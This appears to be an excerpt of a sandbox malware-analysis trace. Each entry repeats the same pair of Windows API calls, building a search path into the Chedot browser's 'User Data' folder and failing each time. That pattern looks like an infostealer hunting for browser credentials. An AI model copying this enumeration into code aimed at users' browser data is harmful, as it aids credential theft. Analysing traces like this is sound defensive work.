[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.860] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.860] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.861] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.861] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.861] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.861] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.861] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.861] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.861] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.862] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.862] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.863] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.863] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
